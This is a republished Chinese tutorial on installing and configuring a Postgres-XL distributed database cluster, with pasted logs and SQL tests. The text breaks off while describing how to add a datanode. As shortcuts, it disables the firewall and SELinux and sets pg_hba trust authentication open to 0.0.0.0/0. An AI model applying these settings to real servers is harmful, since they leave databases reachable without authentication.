本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
304
转载
转载文章
...tice公司及其收购数据库技术公司–StormDB的产品。Postgres-XL是一个横向扩展的开源数据库集群,具有足够的灵活性来处理不同的数据库任务。 Postgres-XL功能特性 开放源代码:(源协议使用宽松的“Mozilla Public License”许可,允许将开源代码与闭源代码混在一起使用。) 完全的ACID支持 可横向扩展的关系型数据库(RDBMS) 支持OLAP应用,采用MPP(Massively Parallel Processing:大规模并行处理系统)架构模式 支持OLTP应用,读写性能可扩展 集群级别的ACID特性 多租户安全 也可被用作分布式Key-Value存储 事务处理与数据分析处理混合型数据库 支持丰富的SQL语句类型,比如:关联子查询 支持绝大部分PostgreSQL的SQL语句 分布式多版本并发控制(MVCC:Multi-version Concurrency Control) 支持JSON和XML格式 Postgres-XL缺少的功能 内建的高可用机制 使用外部机制实现高可能,如:Corosync/Pacemaker 有未来功能提升的空间 增加节点/重新分片数据(re-shard)的简便性 数据重分布(redistribution)期间会锁表 可采用预分片(pre-shard)方式解决,在同台物理服务器上建立多个数据节点,每个节点存储一个数据分片。数据重分布时,将一些数据节点迁出即可 某些外键、唯一性约束功能 Postgres-XL架构 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M9lFuEIP-1640133702200)(./assets/postgre-xl.jpg)] 基于开源项目Postgres-XC XL增加了MPP,允许数据节点间直接通讯,交换复杂跨节点关联查询相关数据信息,减少协调器负载。 多个协调器(Coordinator) 应用程序的数据库连入点 分析查询语句,生成执行计划 多个数据节点(DataNode) 实际的数据存储 数据自动打散分布到集群中各数据节点 本地执行查询 一个查询在所有相关节点上并行查询 全局事务管理器(GTM:Global Transaction Manager) 提供事务间一致性视图 部署GTM Proxy实例,以提高性能 Postgre-XL主要组件 GTM (Global Transaction Manager) - 全局事务管理器 GTM是Postgres-XL的一个关键组件,用于提供一致的事务管理和元组可见性控制。 GTM Standby GTM的备节点,在pgxc,pgxl中,GTM控制所有的全局事务分配,如果出现问题,就会导致整个集群不可用,为了增加可用性,增加该备用节点。当GTM出现问题时,GTM Standby可以升级为GTM,保证集群正常工作。 GTM-Proxy GTM需要与所有的Coordinators通信,为了降低压力,可以在每个Coordinator机器上部署一个GTM-Proxy。 Coordinator --协调器 协调器是应用程序到数据库的接口。它的作用类似于传统的PostgreSQL后台进程,但是协调器不存储任何实际数据。实际数据由数据节点存储。协调器接收SQL语句,根据需要获取全局事务Id和全局快照,确定涉及哪些数据节点,并要求它们执行(部分)语句。当向数据节点发出语句时,它与GXID和全局快照相关联,以便多版本并发控制(MVCC)属性扩展到集群范围。 Datanode --数据节点 用于实际存储数据。表可以分布在各个数据节点之间,也可以复制到所有数据节点。数据节点没有整个数据库的全局视图,它只负责本地存储的数据。接下来,协调器将检查传入语句,并制定子计划。然后,根据需要将这些数据连同GXID和全局快照一起传输到涉及的每个数据节点。数据节点可以在不同的会话中接收来自各个协调器的请求。但是,由于每个事务都是惟一标识的,并且与一致的(全局)快照相关联,所以每个数据节点都可以在其事务和快照上下文中正确执行。 Postgres-XL继承了PostgreSQL Postgres-XL是PostgreSQL的扩展并继承了其很多特性: 复杂查询 外键 触发器 视图 事务 MVCC(多版本控制) 此外,类似于PostgreSQL,用户可以通过多种方式扩展Postgres-XL,例如添加新的 数据类型 函数 操作 聚合函数 索引类型 过程语言 安装 环境说明 由于资源有限,gtm一台、另外两台身兼数职。 主机名 IP 角色 端口 nodename 数据目录 gtm 192.168.20.132 GTM 6666 gtm /nodes/gtm 协调器 5432 coord1 /nodes/coordinator xl1 192.168.20.133 数据节点 5433 node1 /nodes/pgdata gtm代理 6666 gtmpoxy01 /nodes/gtm_pxy1 协调器 5432 coord2 /nodes/coordinator xl2 192.168.20.134 数据节点 5433 node2 /nodes/pgdata gtm代理 6666 gtmpoxy02 /nodes/gtm_pxy2 要求 GNU make版本 3.8及以上版本 [root@pg ~] make --versionGNU Make 3.82Built for x86_64-redhat-linux-gnuCopyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. 需安装GCC包 需安装tar包 用于解压缩文件 默认需要GNU Readline library 其作用是可以让psql命令行记住执行过的命令,并且可以通过键盘上下键切换命令。但是可以通过--without-readline禁用这个特性,或者可以指定--withlibedit-preferred选项来使用libedit 默认使用zlib压缩库 可通过--without-zlib选项来禁用 配置hosts 所有主机上都配置 [root@xl2 11] cat /etc/hosts127.0.0.1 localhost192.168.20.132 gtm192.168.20.133 xl1192.168.20.134 xl2 关闭防火墙、Selinux 所有主机都执行 关闭防火墙: [root@gtm ~] systemctl stop firewalld.service[root@gtm ~] systemctl disable firewalld.service selinux设置: [root@gtm ~]vim /etc/selinux/config 设置SELINUX=disabled,保存退出。 This file controls the state of SELinux on the system. SELINUX= can take one of these three values: enforcing - SELinux security policy is enforced. permissive - SELinux prints warnings instead of enforcing. disabled - No SELinux policy is loaded.SELINUX=disabled SELINUXTYPE= can take one of three two values: targeted - Targeted processes are protected, minimum - Modification of targeted policy. Only selected processes are protected. mls - Multi Level Security protection. 安装依赖包 所有主机上都执行 yum install -y flex bison readline-devel zlib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作: [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中,使得gtm节点可以免密码登录xl1~xl2的任意一个节点: [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入,直接enter下一步。直到最后,因为第一次要求输入目标机器的用户密码,输入即可。 下载源码 下载地址:https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装,编译需要一点时间,最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling 